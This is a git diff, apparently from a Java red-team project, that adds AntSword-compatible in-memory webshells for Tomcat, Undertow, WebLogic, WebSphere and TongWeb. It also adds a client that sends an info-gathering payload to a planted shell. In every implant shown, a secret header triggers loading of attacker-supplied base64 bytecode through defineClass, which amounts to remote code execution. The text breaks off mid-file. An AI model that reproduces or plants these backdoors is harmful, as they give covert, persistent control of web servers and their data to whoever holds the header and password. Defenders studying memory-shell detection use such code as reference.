String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilterChainAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilterChainAdvisor.java new file mode 100644 index 00000000..0023a523 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilterChainAdvisor.java @@ -0,0 +1,51 @@ +package com.reajason.javaweb.memshell.shelltool.antsword; + +import net.bytebuddy.asm.Advice; + +import java.io.BufferedReader; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + */ +public class AntSwordFilterChainAdvisor { + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 0) Object request, + @Advice.Argument(value = 1) Object response + ) { + String pass = "pass"; + String headerName = "headerName"; + String headerValue = "headerValue"; + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + byte[] data = null; + Class base64; + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + try { + base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); + Object instance = payload.newInstance(); + instance.equals(new Object[]{request, response}); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java new file mode 100644 index 00000000..a0c20a84 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java @@ -0,0 +1,85 @@ +package com.reajason.javaweb.memshell.shelltool.antsword; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordServlet extends ClassLoader implements Servlet { + + public static String pass; + public static String headerName; + public static String headerValue; + + @Override + @SuppressWarnings("all") + public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordServlet(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + + } + } + + @Override + public String getServletInfo() { + return ""; + } + + @Override + public void destroy() { + + } + + public AntSwordServlet() { + } + + public AntSwordServlet(ClassLoader parent) { + super(parent); + } + + @SuppressWarnings("all") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @Override + public void init(ServletConfig config) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java new file mode 100644 index 00000000..d4bbbd58 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java @@ -0,0 +1,88 @@ +package com.reajason.javaweb.memshell.shelltool.antsword; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.servlet.ServletException; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordValve extends ClassLoader implements Valve { + public static String pass; + public static String headerName; + public static String headerValue; + protected Valve next; + protected boolean asyncSupported; + + public AntSwordValve() { + } + + public AntSwordValve(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/antsword/AntSwordListener.java new file mode 100644 index 00000000..3bcd1bc0 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/antsword/AntSwordListener.java @@ -0,0 +1,105 @@ +package com.reajason.javaweb.memshell.tomcat.antsword; + +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve6.java new file mode 100644 index 00000000..2d07ae04 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve6.java @@ -0,0 +1,99 @@ +package com.reajason.javaweb.memshell.tongweb.antsword; + +import com.tongweb.web.thor.Valve; +import com.tongweb.web.thor.comet.CometEvent; +import com.tongweb.web.thor.connector.Request; +import com.tongweb.web.thor.connector.Response; + +import javax.servlet.ServletException; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordValve6 extends ClassLoader implements Valve { + public static String pass; + public static String headerName; + public static String headerValue; + protected Valve next; + protected boolean asyncSupported; + + public AntSwordValve6() { + } + + public AntSwordValve6(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public String getInfo() { + return ""; + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordValve6(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } + + @Override + public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException { + + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve7.java new file mode 100644 index 00000000..96d2e654 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve7.java @@ -0,0 +1,88 @@ +package com.reajason.javaweb.memshell.tongweb.antsword; + +import com.tongweb.catalina.Valve; +import com.tongweb.catalina.connector.Request; +import com.tongweb.catalina.connector.Response; + +import javax.servlet.ServletException; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordValve7 extends ClassLoader implements Valve { + public static String pass; + public static String headerName; + public static String headerValue; + protected Valve next; + protected boolean asyncSupported; + + public AntSwordValve7() { + } + + public AntSwordValve7(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordValve7(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordListener.java new file mode 100644 index 00000000..0c080cb2 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordListener.java @@ -0,0 +1,102 @@ +package com.reajason.javaweb.memshell.undertow.antsword; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + Map map = (Map) getFieldValue(getFieldValue(request, "exchange"), "attachments"); + Object[] keys = map.keySet().toArray(); + for (Object key : keys) { + if (map.get(key).toString().contains("ServletRequestContext")) { + response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse"); + break; + } + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordServletInitialHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordServletInitialHandlerAdvisor.java new file mode 100644 index 00000000..a53a6a05 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordServletInitialHandlerAdvisor.java @@ -0,0 +1,55 @@ +package com.reajason.javaweb.memshell.undertow.antsword; + +import net.bytebuddy.asm.Advice; + +import java.lang.reflect.Method; + +/** + * @author ReaJason + */ +public class AntSwordServletInitialHandlerAdvisor { + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.AllArguments Object[] args + ) { + String pass = "pass"; + String headerName = "headerName"; + String headerValue = "headerValue"; + try { + Object servletRequestContext = null; + if (args.length == 2) { + servletRequestContext = args[1]; + } else { + servletRequestContext = args[2]; + } + Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); + Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null + && value.contains(headerValue)) { + byte[] data = null; + Class base64; + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + try { + base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); + Object instance = payload.newInstance(); + instance.equals(new Object[]{request, response}); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/antsword/AntSwordListener.java new file mode 100644 index 00000000..15881ef2 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/antsword/AntSwordListener.java @@ -0,0 +1,99 @@ +package com.reajason.javaweb.memshell.weblogic.antsword; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/antsword/AntSwordListener.java new file mode 100644 index 00000000..cfc9cace --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/antsword/AntSwordListener.java @@ -0,0 +1,92 @@ +package com.reajason.javaweb.memshell.websphere.antsword; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response"); + } +} diff --git a/tools/ant-sword/build.gradle b/tools/ant-sword/build.gradle new file mode 100644 index 00000000..14e2dada --- /dev/null +++ b/tools/ant-sword/build.gradle @@ -0,0 +1,33 @@ +plugins { + id "io.freefair.lombok" version "8.11" +} + +group = 'com.reajason.javaweb.tools' +version = rootProject.version + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + sourceCompatibility = JavaVersion.VERSION_1_8 + targetCompatibility = JavaVersion.VERSION_1_8 +} + +dependencies { + implementation project(":common") + implementation 'net.bytebuddy:byte-buddy' + + implementation 'javax.servlet:javax.servlet-api' + implementation 'commons-io:commons-io' + implementation 'org.apache.commons:commons-lang3' + implementation 'commons-codec:commons-codec' + + implementation 'com.squareup.okhttp3:okhttp' + implementation 'com.alibaba.fastjson2:fastjson2' + testImplementation platform('org.junit:junit-bom') + testImplementation 'org.junit.jupiter:junit-jupiter' +} + +test { + useJUnitPlatform() +} \ No newline at end of file diff --git a/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/AntSwordManager.java b/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/AntSwordManager.java new file mode 100644 index 00000000..6300db34 --- /dev/null +++ b/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/AntSwordManager.java @@ -0,0 +1,88 @@ +package com.reajason.javaweb.antsword; + +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import lombok.Data; +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.ClassFileVersion; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.*; + +import java.util.Base64; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/1/23 + */ +@Data +public class AntSwordManager { + private final OkHttpClient client; + private String entrypoint; + private String pass; + + private Map headers = new HashMap<>(); + + public AntSwordManager() { + this.client = new OkHttpClient.Builder().build(); + } + + @SneakyThrows + public String getInfo() { + byte[] bytes = new ByteBuddy(ClassFileVersion.JAVA_V6).redefine(Info.class) + .name(Utils.getRandomClassName(Info.class.getName())) + .visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6)) + .make().getBytes(); + String base64String = Base64.getEncoder().encodeToString(bytes); + RequestBody requestBody = new FormBody.Builder() + .add(this.pass, base64String) + .add("j4677eff439969", "wO") + .build(); + Request.Builder builder = new Request.Builder() + .url(this.entrypoint) + .post(requestBody) + .headers(Headers.of(this.headers)); + try (Response response = client.newCall(builder.build()).execute()) { + return response.body().string(); + } catch (Exception ignored) { + } + return ""; + } + + public static AntSwordManager.AntSwordManagerBuilder builder() { + return new AntSwordManager.AntSwordManagerBuilder(); + } + + public static class AntSwordManagerBuilder { + private final Map headers = new HashMap<>(); + private String entrypoint; + private String pass; + + public AntSwordManager.AntSwordManagerBuilder entrypoint(String entrypoint) { + this.entrypoint = entrypoint; + return this; + } + + public AntSwordManager.AntSwordManagerBuilder pass(String pass) { + this.pass = pass; + return this; + } + + public AntSwordManager.AntSwordManagerBuilder header(String key, String value) { + this.headers.put(key, value); + return this; + } + + public AntSwordManager build() { + AntSwordManager manager = new AntSwordManager(); + manager.setPass(pass); + manager.setEntrypoint(entrypoint); + Map headers = new HashMap<>(16); + headers.put("Content-Type", "application/x-www-form-urlencoded"); + headers.putAll(this.headers); + manager.setHeaders(headers); + return manager; + } + } +} diff --git a/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Info.java b/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Info.java new file mode 100644 index 00000000..ac5f0dd2 --- /dev/null +++ b/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Info.java @@ -0,0 +1,150 @@ +package com.reajason.javaweb.antsword; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.File; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +public class Info { + public HttpServletRequest request = null; + public HttpServletResponse response = null; + public String encoder = "base64"; + public String cs = "UTF8"; + public String randomPrefix = "2"; + public String decoderClassdata; + + public Info() { + } + + public boolean equals(Object var1) { + this.parseObj(var1); + StringBuffer var2 = new StringBuffer(); + String var3 = "2f9d7d"; + String var4 = "2d5c21ab2c35"; + String var5 = "j4677eff439969"; + + try { + this.response.setContentType("text/html"); + this.request.setCharacterEncoding(this.cs); + this.response.setCharacterEncoding(this.cs); + this.decoderClassdata = this.decode(this.request.getParameter(var5)); + var2.append(this.SysInfoCode()); + } catch (Exception var8) { + var2.append("ERROR:// " + var8.toString()); + } + + try { + this.response.getWriter().print(var3 + this.asoutput(var2.toString()) + var4); + } catch (Exception var7) { + } + + return true; + } + + String SysInfoCode() { + String var1 = System.getProperty("user.dir"); + String var2 = System.getProperty("os.name"); + String var3 = System.getProperty("user.name"); + String var4 = this.WwwRootPathCode(var1); + return var1 + " ok " + "\t" + var4 + "\t" + var2 + "\t" + var3; + } + + String WwwRootPathCode(String var1) { + StringBuilder var2 = new StringBuilder(); + if (!var1.startsWith("/")) { + try { + File[] var3 = File.listRoots(); + + for(File var7 : var3) { + var2.append(var7.toString(), 0, 2); + } + } catch (Exception var8) { + var2.append("/"); + } + } else { + var2.append("/"); + } + + return var2.toString(); + } + + public void parseObj(Object var1) { + if (var1.getClass().isArray()) { + Object[] var2 = (Object[]) var1; + this.request = (HttpServletRequest)var2[0]; + this.response = 